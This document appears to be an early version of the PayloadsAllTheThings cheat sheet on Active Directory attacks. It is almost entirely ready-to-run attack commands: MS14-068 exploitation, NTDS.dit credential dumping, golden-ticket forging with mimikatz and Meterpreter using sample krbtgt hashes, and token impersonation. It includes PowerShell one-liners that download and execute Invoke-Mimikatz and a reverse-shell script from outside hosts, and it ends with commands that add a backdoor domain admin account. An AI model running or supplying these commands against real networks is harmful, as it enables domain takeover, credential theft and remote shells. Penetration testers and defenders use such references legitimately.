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PayloadsAllTheThings/Methodology and Resources/Active Directory Attack.md

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Active Directory Attacks

Most common paths to AD compromise

  • MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

    Exploit Python: https://www.exploit-db.com/exploits/35474/
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum

git clone https://github.com/bidord/pykek
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"

  • MS17-010 (Eternal Blue - Local Admin)

    nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>

  • Unconstrained Delegation (incl. pass-the-ticket)

  • OverPass-the-Hash (Making the most of NTLM password hashes)

  • GPO - Pivoting with Local Admin & Passwords in SYSVOL

    findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

or

Metasploit: scanner/smb/smb_enumshares
Metasploit: windows/gather/enumshares
Metasploit: windows/gather/credentials/gpp


/!\ GPO Priorization : Organization Unit > Domain > Site > Local
List all GPO for a domain :
Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all

  • Dangerous Built-in Groups Usage

  • Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)

C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit

or

vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

then you need to use secretsdump to extract the hashes
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL


or

Metasploit : windows/gather/credentials/domain_hashdump

or

PowerSploit : Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
  • Golden Tickets
    Mimikatz version
Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

Forge a Golden ticket - Mimikatz
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt

Meterpreter version

Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
  • Kerberoast 
    https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/
https://room362.com/post/2016/kerberoast-pt1/
  • Silver Tickets
  • Trust Tickets

Tools

PowerSploit

https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks”
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"

PrivEsc - Token Impersonation (RottenPotato)

Binary available at : https://github.com/foxglovesec/RottenPotato
Binary available at : https://github.com/breenmachine/RottenPotatoNG

getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"

Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"

PrivEsc - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Local Admin to Domain Admin

net user hacker2 hacker123 /add /Domain
net group "Domain Admins" hacker2 /add /domain

Thanks to